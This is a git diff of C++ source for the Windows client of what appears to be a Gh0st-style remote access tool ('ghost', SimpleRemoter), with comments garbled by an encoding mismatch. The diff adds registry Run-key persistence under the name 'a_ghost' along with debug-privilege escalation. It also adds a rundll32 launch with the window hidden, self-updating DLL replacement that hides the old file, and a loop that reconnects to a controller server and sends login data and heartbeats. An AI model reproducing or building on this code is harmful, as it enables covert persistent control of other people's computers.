DWORD m_dwSize; // <20><>Ƶͼ<C6B5><CDBC><EFBFBD><EFBFBD><EFBFBD>ݴ<EFBFBD>С
CSampleGrabberCB()
{
@@ -152,21 +199,25 @@ public:
}
};
class CCaptureVideo
{
public:
CCaptureVideo();
virtual ~CCaptureVideo();
LPBITMAPINFO CCaptureVideo::GetBmpInfor();
HRESULT CCaptureVideo::InitCaptureGraphBuilder();
HRESULT CCaptureVideo::Open(int iDeviceID,int iPress);
BOOL CCaptureVideo::BindVideoFilter(int deviceId, IBaseFilter **pFilter);
LPBITMAPINFO GetBmpInfor();
HRESULT InitCaptureGraphBuilder();
HRESULT Open(int iDeviceID,int iPress);
BOOL BindVideoFilter(int deviceId, IBaseFilter **pFilter);
LPBYTE CCaptureVideo::GetDIB(DWORD& dwSize);
LPBYTE GetDIB(DWORD& dwSize);
int GetDIBBufSize() const { return mCB.m_dwSize; }
BOOL m_bExit;
HWND m_hWnd;
static CSampleGrabberCB mCB;
IGraphBuilder * m_pGB; //ͨ<><CDA8><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD>Է<EFBFBD><D4B7><EFBFBD> FCDO Filter Control Device Object
ICaptureGraphBuilder2* m_pCapture; //ͨ<><CDA8><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD>Է<EFBFBD><D4B7><EFBFBD> <20><>ʵCDO
@@ -176,10 +227,10 @@ public:
IBaseFilter* m_pBF; //FDO
ISampleGrabber* m_pGrabber; //<2F><><EFBFBD><EFBFBD> 24Color
void CCaptureVideo::FreeMediaType(AM_MEDIA_TYPE& mt);
void CCaptureVideo::ResizeVideoWindow();
HRESULT CCaptureVideo::SetupVideoWindow();
void CCaptureVideo::SendEnd();
void FreeMediaType(AM_MEDIA_TYPE& mt);
void ResizeVideoWindow();
HRESULT SetupVideoWindow();
void SendEnd();
};
#endif // !defined(AFX_CAPTUREVIDEO_H__0984BB8E_6DCB_4A5C_8E03_1217AE6E409D__INCLUDED_)

View File

@@ -2,29 +2,220 @@
//
#include "stdafx.h"
#include "Common.h"
#include "IOCPClient.h"
#include <IOSTREAM>
#include "LoginServer.h"
#include "KernelManager.h"
using namespace std;
#include "ClientDll.h"
char g_szServerIP[MAX_PATH] = {0};
unsigned short g_uPort = 0;
bool g_bExit = false;
bool g_bThreadExit = false;
HINSTANCE g_hInstance = NULL;
DWORD WINAPI StartClient(LPVOID lParam);
// <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>ֵ
#define REG_NAME "a_ghost"
// <20><><EFBFBD><EFBFBD><EFBFBD>Ŀͻ<C4BF><CDBB>˸<EFBFBD><CBB8><EFBFBD>
#define CLIENT_PARALLEL_NUM 1
// Զ<>̵<EFBFBD>ַ
CONNECT_ADDRESS g_SETTINGS = {FLAG_GHOST, "127.0.0.1", "6543", CLIENT_TYPE_DLL};
// <20><><EFBFBD>տͻ<D5BF><CDBB><EFBFBD>ֻ<EFBFBD><D6BB>2<EFBFBD><32>ȫ<EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD>: g_SETTINGS<47><53>g_MyApp<70><70><EFBFBD><EFBFBD>g_SETTINGS<47><53>Ϊg_MyApp<70>ij<EFBFBD>Ա.
// <20><><EFBFBD><EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֻ<EFBFBD><D6BB>һ<EFBFBD><D2BB>ȫ<EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD>: g_MyApp
ClientApp g_MyApp(&g_SETTINGS, IsClientAppRunning);
enum { E_RUN, E_STOP, E_EXIT } status;
int ClientApp::m_nCount = 0;
CLock ClientApp::m_Locker;
BOOL IsProcessExit() {
return g_MyApp.g_bExit == S_CLIENT_EXIT;
}
BOOL IsSharedRunning(void* thisApp) {
ClientApp* This = (ClientApp*)thisApp;
return (S_CLIENT_NORMAL == g_MyApp.g_bExit) && (S_CLIENT_NORMAL == This->g_bExit);
}
BOOL IsClientAppRunning(void* thisApp) {
ClientApp* This = (ClientApp*)thisApp;
return S_CLIENT_NORMAL == This->g_bExit;
}
ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run, BOOL shared) {
auto v = StringToVector(remoteAddr, ':', 2);
if (v[0].empty() || v[1].empty())
return nullptr;
auto a = new ClientApp(g_MyApp.g_Connection, run, shared);
a->g_Connection->SetServer(v[0].c_str(), atoi(v[1].c_str()));
return a;
}
DWORD WINAPI StartClientApp(LPVOID param) {
ClientApp::AddCount(1);
ClientApp* app = (ClientApp*)param;
CONNECT_ADDRESS& settings(*(app->g_Connection));
const char* ip = settings.ServerIP();
int port = settings.ServerPort();
State& bExit(app->g_bExit);
if (ip != NULL && port > 0)
{
settings.SetServer(ip, port);
}
if (strlen(settings.ServerIP()) == 0 || settings.ServerPort() <= 0) {
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: <20><><EFBFBD>ṩԶ<E1B9A9><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP<49>Ͷ˿<CDB6>!\n");
Sleep(3000);
} else {
app->g_hInstance = GetModuleHandle(NULL);
Mprintf("[ClientApp: %d] Total [%d] %s:%d \n", app->m_ID, app->GetCount(), settings.ServerIP(), settings.ServerPort());
do {
bExit = S_CLIENT_NORMAL;
HANDLE hThread = CreateThread(NULL, 0, StartClient, app, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
if (IsProcessExit()) // process exit
break;
} while (E_RUN == status && S_CLIENT_EXIT != bExit);
}
auto r = app->m_ID;
if (app != &g_MyApp) delete app;
ClientApp::AddCount(-1);
return r;
}
/**
* @brief <20>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>֧<EFBFBD>ֳ<EFBFBD><D6B3><EFBFBD>MAXIMUM_WAIT_OBJECTS<54><53><EFBFBD>ƣ<EFBFBD>
* @param handles <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
* @param waitAll <20>Ƿ<EFBFBD><C7B7>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD>о<EFBFBD><D0BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɣ<EFBFBD>TRUE=ȫ<><C8AB>, FALSE=<3D><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>
* @param timeout <20><>ʱʱ<CAB1><EFBFBD><E4A3A8><EFBFBD>룬INFINITE<54><45>ʾ<EFBFBD><CABE><EFBFBD>޵ȴ<DEB5><C8B4><EFBFBD>
* @return <20>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>WAIT_OBJECT_0<5F>ɹ<EFBFBD>, WAIT_FAILEDʧ<44>ܣ<EFBFBD>
*/
DWORD WaitForMultipleHandlesEx(
const std::vector<HANDLE>& handles,
BOOL waitAll = TRUE,
DWORD timeout = INFINITE
) {
const DWORD MAX_WAIT = MAXIMUM_WAIT_OBJECTS; // ϵͳ<CFB5><CDB3><EFBFBD>ƣ<EFBFBD>64<36><34>
DWORD totalHandles = static_cast<DWORD>(handles.size());
// 1. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7>
for (HANDLE h : handles) {
if (h == NULL || h == INVALID_HANDLE_VALUE) {
SetLastError(ERROR_INVALID_HANDLE);
return WAIT_FAILED;
}
}
// 2. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>64<36><34>ֱ<EFBFBD>ӵ<EFBFBD><D3B5><EFBFBD>ԭ<EFBFBD><D4AD>API
if (totalHandles <= MAX_WAIT) {
return WaitForMultipleObjects(totalHandles, handles.data(), waitAll, timeout);
}
// 3. <20><><EFBFBD><EFBFBD><EFBFBD>ȴ<EFBFBD><C8B4>߼<EFBFBD>
if (waitAll) {
// <20><><EFBFBD><EFBFBD><EFBFBD>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD>о<EFBFBD><D0BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
for (DWORD i = 0; i < totalHandles; i += MAX_WAIT) {
DWORD batchSize = min(MAX_WAIT, totalHandles - i);
DWORD result = WaitForMultipleObjects(
batchSize,
&handles[i],
TRUE, // <20><><EFBFBD><EFBFBD><EFBFBD>ȴ<EFBFBD><C8B4><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
timeout
);
if (result == WAIT_FAILED) {
return WAIT_FAILED;
}
}
return WAIT_OBJECT_0;
}
else {
// ֻ<><D6BB><EFBFBD>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
while (true) {
for (DWORD i = 0; i < totalHandles; i += MAX_WAIT) {
DWORD batchSize = min(MAX_WAIT, totalHandles - i);
DWORD result = WaitForMultipleObjects(
batchSize,
&handles[i],
FALSE, // <20><>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>ɼ<EFBFBD><C9BC><EFBFBD>
timeout
);
if (result != WAIT_FAILED && result != WAIT_TIMEOUT) {
return result + i; // <20><><EFBFBD><EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
}
}
if (timeout != INFINITE) {
return WAIT_TIMEOUT;
}
}
}
}
#if _CONSOLE
enum { E_RUN, E_STOP } status;
//<2F><><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8>
void DebugPrivilege()
{
HANDLE hToken = NULL;
//<2F>򿪵<EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>̵ķ<CCB5><C4B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int hRet = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);
if (hRet)
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
//ȡ<><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ȩ<EFBFBD>޵<EFBFBD>LUID
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD>Ȩ<EFBFBD><C8A8>
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
CloseHandle(hToken);
}
}
/**
* @brief <20><><EFBFBD>ñ<EFBFBD><C3B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
* @param[in] *sPath ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
* @param[in] *sNmae ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
* @return <20><><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
* @details Win7 64λ<34><CEBB><EFBFBD><EFBFBD><EFBFBD>ϲ<EFBFBD><CFB2>Խ<EFBFBD><D4BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>ڣ<EFBFBD>\n
* HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
* @note <20>״<EFBFBD><D7B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD>Թ<EFBFBD><D4B9><EFBFBD>ԱȨ<D4B1><C8A8><EFBFBD><EFBFBD><EFBFBD>У<EFBFBD><D0A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EBBFAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
*/
BOOL SetSelfStart(const char* sPath, const char* sNmae)
{
DebugPrivilege();
// д<><D0B4><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
#define REGEDIT_PATH "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\"
// <20><>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
HKEY hKey = NULL;
LONG lRet = RegOpenKeyExA(HKEY_LOCAL_MACHINE, REGEDIT_PATH, 0, KEY_ALL_ACCESS, &hKey);
// <20>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>
if (lRet != ERROR_SUCCESS)
return FALSE;
lRet = RegSetValueExA(hKey, sNmae, 0, REG_SZ, (const BYTE*)sPath, strlen(sPath) + 1);
// <20>ر<EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>
RegCloseKey(hKey);
// <20>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>
return lRet == ERROR_SUCCESS;
}
// <20><><EFBFBD>ؿ<EFBFBD><D8BF><EFBFBD>̨
// <20>ο<EFBFBD><CEBF><EFBFBD>https://blog.csdn.net/lijia11080117/article/details/44916647
// step1: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"<22>߼<EFBFBD>"<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڵ<EFBFBD>ΪmainCRTStartup
// step2: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"ϵͳ"<22><><EFBFBD><EFBFBD>ϵͳΪ<CDB3><CEAA><EFBFBD><EFBFBD>
// <20><><EFBFBD><EFBFBD>
BOOL CALLBACK callback(DWORD CtrlType)
{
if (CtrlType == CTRL_CLOSE_EVENT)
{
g_bExit = true;
g_MyApp.g_bExit = S_CLIENT_EXIT;
while (E_RUN == status)
Sleep(20);
}
@@ -33,12 +224,13 @@ BOOL CALLBACK callback(DWORD CtrlType)
int main(int argc, const char *argv[])
{
status = E_RUN;
if (argc < 3)
if (!SetSelfStart(argv[0], REG_NAME))
{
std::cout<<"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n";
return -1;
Mprintf("<EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ù<EFBFBD><EFBFBD><EFBFBD>ԱȨ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n");
}
status = E_RUN;
HANDLE hMutex = ::CreateMutexA(NULL, TRUE, "ghost.exe");
if (ERROR_ALREADY_EXISTS == GetLastError())
{
@@ -47,17 +239,29 @@ int main(int argc, const char *argv[])
}
SetConsoleCtrlHandler(&callback, TRUE);
const char *szServerIP = argv[1];
int uPort = atoi(argv[2]);
printf("[remote] %s:%d\n", szServerIP, uPort);
memcpy(g_szServerIP,szServerIP,strlen(szServerIP));
g_uPort = uPort;
HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartClient,NULL,0,NULL);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
const char* ip = argc > 1 ? argv[1] : NULL;
int port = argc > 2 ? atoi(argv[2]) : 0;
ClientApp& app(g_MyApp);
app.g_Connection->SetType(CLIENT_TYPE_ONE);
app.g_Connection->SetServer(ip, port);
if (CLIENT_PARALLEL_NUM == 1) {
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͻ<EFBFBD><CDBB><EFBFBD>
StartClientApp(&app);
} else {
std::vector<HANDLE> handles(CLIENT_PARALLEL_NUM);
for (int i = 0; i < CLIENT_PARALLEL_NUM; i++) {
auto client = new ClientApp(app.g_Connection, IsSharedRunning, FALSE);
handles[i] = CreateThread(0, 64*1024, StartClientApp, client->SetID(i), 0, 0);
if (handles[i] == 0) {
Mprintf("<EFBFBD>߳<EFBFBD> %d <20><><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD><DCA3><EFBFBD><EFBFBD><EFBFBD>: %d\n", i, errno);
}
}
DWORD result = WaitForMultipleHandlesEx(handles, TRUE, INFINITE);
if (result == WAIT_FAILED) {
Mprintf("WaitForMultipleObjects ʧ<>ܣ<EFBFBD><DCA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %d\n", GetLastError());
}
}
ClientApp::Wait();
status = E_STOP;
CloseHandle(hMutex);
@@ -75,7 +279,7 @@ BOOL APIENTRY DllMain( HINSTANCE hInstance,
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
{
g_hInstance = (HINSTANCE)hInstance;
g_MyApp.g_hInstance = (HINSTANCE)hInstance;
break;
}
@@ -85,15 +289,23 @@ BOOL APIENTRY DllMain( HINSTANCE hInstance,
return TRUE;
}
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>ghost
extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
{
memcpy(g_szServerIP,szServerIP,strlen(szServerIP));
g_uPort = uPort;
ClientApp& app(g_MyApp);
CONNECT_ADDRESS& settings(*(app.g_Connection));
app.g_bExit = S_CLIENT_NORMAL;
if (strlen(szServerIP)>0 && uPort>0)
{
settings.SetServer(szServerIP, uPort);
}
HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartClient,NULL,0,NULL);
HANDLE hThread = CreateThread(NULL,0,StartClient, &app,0,NULL);
if (hThread == NULL) {
return;
}
#ifdef _DEBUG
WaitForSingleObject(hThread, 200);
WaitForSingleObject(hThread, INFINITE);
#else
WaitForSingleObject(hThread, INFINITE);
#endif
@@ -101,43 +313,187 @@ extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
}
// ֹͣ<CDA3><D6B9><EFBFBD><EFBFBD>
extern "C" __declspec(dllexport) void StopRun() { g_bExit = true; }
extern "C" __declspec(dllexport) void StopRun() { g_MyApp.g_bExit = S_CLIENT_EXIT; }
// <20>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>ֹͣ
extern "C" __declspec(dllexport) bool IsStoped() { return g_bThreadExit; }
extern "C" __declspec(dllexport) bool IsStoped() { return g_MyApp.g_bThreadExit; }
// <20>Ƿ<EFBFBD><C7B7>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB><EFBFBD>
extern "C" __declspec(dllexport) BOOL IsExit() { return g_MyApp.g_bExit; }
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д˳<D0B4><CBB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>κβ<CEBA><CEB2><EFBFBD>
extern "C" __declspec(dllexport) int EasyRun() {
ClientApp& app(g_MyApp);
CONNECT_ADDRESS& settings(*(app.g_Connection));
do {
TestRun((char*)settings.ServerIP(), settings.ServerPort());
while (!IsStoped())
Sleep(50);
if (S_CLIENT_EXIT == app.g_bExit) // <20>ܿض<DCBF><D8B6>˳<EFBFBD>
break;
else if (S_SERVER_EXIT == app.g_bExit)
continue;
else // S_CLIENT_UPDATE: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
break;
} while (true);
return app.g_bExit;
}
// copy from: SimpleRemoter\client\test.cpp
// <20><><EFBFBD><EFBFBD><EFBFBD>µ<EFBFBD>DLL
void RunNewDll(const char* cmdLine) {
char path[_MAX_PATH], * p = path;
GetModuleFileNameA(NULL, path, sizeof(path));
while (*p) ++p;
while ('\\' != *p) --p;
*(p + 1) = 0;
std::string folder = path;
std::string oldFile = folder + "ServerDll.old";
std::string newFile = folder + "ServerDll.new";
strcpy(p + 1, "ServerDll.dll");
BOOL ok = TRUE;
if (_access(newFile.c_str(), 0) != -1) {
if (_access(oldFile.c_str(), 0) != -1)
{
if (!DeleteFileA(oldFile.c_str()))
{
Mprintf("Error deleting file. Error code: %d\n", GetLastError());
ok = FALSE;
}
}
if (ok && !MoveFileA(path, oldFile.c_str())) {
Mprintf("Error removing file. Error code: %d\n", GetLastError());
if (_access(path, 0) != -1)
{
ok = FALSE;
}
}
else {
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD>
if (SetFileAttributesA(oldFile.c_str(), FILE_ATTRIBUTE_HIDDEN))
{
Mprintf("File created and set to hidden: %s\n", oldFile.c_str());
}
}
if (ok && !MoveFileA(newFile.c_str(), path)) {
Mprintf("Error removing file. Error code: %d\n", GetLastError());
MoveFileA(oldFile.c_str(), path);// recover
}
else if (ok) {
Mprintf("Using new file: %s\n", newFile.c_str());
}
}
char cmd[1024];
sprintf_s(cmd, "%s,Run %s", path, cmdLine);
ShellExecuteA(NULL, "open", "rundll32.exe", cmd, NULL, SW_HIDE);
}
/* <20><><EFBFBD>пͻ<D0BF><CDBB>˵ĺ<CBB5><C4BA>Ĵ<EFBFBD><C4B4><EFBFBD>. <20><>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><E5B5BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><><EFBFBD><EFBFBD> rundll32 <20><><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC>.
HWND hwnd: <20><><EFBFBD><EFBFBD><EFBFBD>ھ<EFBFBD><DABE><EFBFBD><EFBFBD><EFBFBD>ͨ<EFBFBD><CDA8>Ϊ NULL<4C><4C><EFBFBD><EFBFBD>
HINSTANCE hinst: DLL <20><>ʵ<EFBFBD><CAB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
LPSTR lpszCmdLine: <20><><EFBFBD><EFBFBD><EFBFBD>в<EFBFBD><D0B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݸ<EFBFBD><DDB8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int nCmdShow: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾ״̬<D7B4><CCAC>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>rundll32.exe ClientDemo.dll,Run 127.0.0.1:6543
<EFBFBD><EFBFBD><EFBFBD>ȴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>в<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ж<EFBFBD>ȡ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD>ȫ<EFBFBD>ֱ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡ<EFBFBD><EFBFBD>
*/
extern "C" __declspec(dllexport) void Run(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow) {
ClientApp& app(g_MyApp);
CONNECT_ADDRESS& settings(*(app.g_Connection));
State& bExit(app.g_bExit);
char message[256] = { 0 };
if (strlen(lpszCmdLine) != 0) {
strcpy_s(message, lpszCmdLine);
}else if (settings.IsValid())
{
sprintf_s(message, "%s:%d", settings.ServerIP(), settings.ServerPort());
}
std::istringstream stream(message);
std::string item;
std::vector<std::string> result;
while (std::getline(stream, item, ':')) {
result.push_back(item);
}
if (result.size() == 1)
{
result.push_back("80");
}
if (result.size() != 2) {
MessageBox(hwnd, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ!", "<EFBFBD><EFBFBD>ʾ", MB_OK);
return;
}
do {
TestRun((char*)result[0].c_str(), atoi(result[1].c_str()));
while (!IsStoped())
Sleep(20);
if (bExit == S_CLIENT_EXIT)
return;
else if (bExit == S_SERVER_EXIT)
continue;
else // S_CLIENT_UPDATE
break;
} while (true);
sprintf_s(message, "%s:%d", settings.ServerIP(), settings.ServerPort());
RunNewDll(message);
}
#endif
DWORD WINAPI StartClient(LPVOID lParam)
{
IOCPClient *ClientObject = new IOCPClient();
ClientApp& app(*(ClientApp*)lParam);
CONNECT_ADDRESS& settings(*(app.g_Connection));
State& bExit(app.g_bExit);
IOCPClient *ClientObject = new IOCPClient(bExit);
CKernelManager* Manager = nullptr;
while (!g_bExit)
if (!app.m_bShared) {
if (NULL == app.g_hEvent) {
app.g_hEvent = CreateEventA(NULL, TRUE, FALSE, EVENT_FINISHED);
}
if (app.g_hEvent == NULL) {
Mprintf("[StartClient] Failed to create event: %s! %d.\n", EVENT_FINISHED, GetLastError());
}
}
app.g_bThreadExit = false;
while (app.m_bIsRunning(&app))
{
DWORD dwTickCount = GetTickCount();
if (!ClientObject->ConnectServer(g_szServerIP, g_uPort))
ULONGLONG dwTickCount = GetTickCount64();
if (!ClientObject->ConnectServer(settings.ServerIP(), settings.ServerPort()))
{
for (int k = 500; !g_bExit && --k; Sleep(10));
for (int k = 500; app.m_bIsRunning(&app) && --k; Sleep(10));
continue;
}
//׼<><D7BC><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
SendLoginInfo(ClientObject, GetTickCount()-dwTickCount);
LOGIN_INFOR login = GetLoginInfo(GetTickCount64() - dwTickCount, settings.ClientType());
ClientObject->SendLoginInfo(login);
CKernelManager Manager(ClientObject);
bool bIsRun = 0;
SAFE_DELETE(Manager);
Manager = new CKernelManager(&settings, ClientObject, app.g_hInstance);
do
{
Manager->SendHeartbeat();
} while (ClientObject->IsRunning() && ClientObject->IsConnected() && app.m_bIsRunning(&app));
while (GetTickCount64() - dwTickCount < 5000 && app.m_bIsRunning(&app))
Sleep(200);
}
if (app.g_bExit == S_CLIENT_EXIT && app.g_hEvent && !app.m_bShared) {
BOOL b = SetEvent(app.g_hEvent);
Mprintf(">>> [StartClient] Set event: %s %s!\n", EVENT_FINISHED, b ? "succeed" : "failed");
bIsRun = ClientObject->IsRunning();
} while (bIsRun && ClientObject->IsConnected() && !g_bExit);
CloseHandle(app.g_hEvent);
app.g_hEvent = NULL;
}
cout<<"StartClient end\n";
Mprintf("StartClient end\n");
delete ClientObject;
g_bThreadExit = true;
SAFE_DELETE(Manager);
app.g_bThreadExit = true;
return 0;
}

73
client/ClientDll.h Normal file
View File

@@ -0,0 +1,73 @@
#pragma once
#include "Common.h"
#include "IOCPClient.h"
#include <IOSTREAM>
#include "LoginServer.h"
#include "KernelManager.h"
#include <iosfwd>
#include <vector>
#include <iostream>
#include <fstream>
#include <sstream>
#include <shellapi.h>
#include <corecrt_io.h>
BOOL IsProcessExit();
typedef BOOL(*IsRunning)(void* thisApp);
BOOL IsSharedRunning(void* thisApp);
BOOL IsClientAppRunning(void* thisApp);
// <20>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><E0A3BA>ȫ<EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>.
typedef struct ClientApp
{
State g_bExit; // Ӧ<>ó<EFBFBD><C3B3><EFBFBD>״̬<D7B4><CCAC>1-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 2-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 3-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
BOOL g_bThreadExit; // <20><><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>״̬
HINSTANCE g_hInstance; // <20><><EFBFBD>̾<EFBFBD><CCBE><EFBFBD>
CONNECT_ADDRESS* g_Connection; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
HANDLE g_hEvent; // ȫ<><C8AB><EFBFBD>¼<EFBFBD>
BOOL m_bShared; // <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>
IsRunning m_bIsRunning; // <20><><EFBFBD><EFBFBD>״̬
unsigned m_ID; // Ψһ<CEA8><D2BB>ʶ
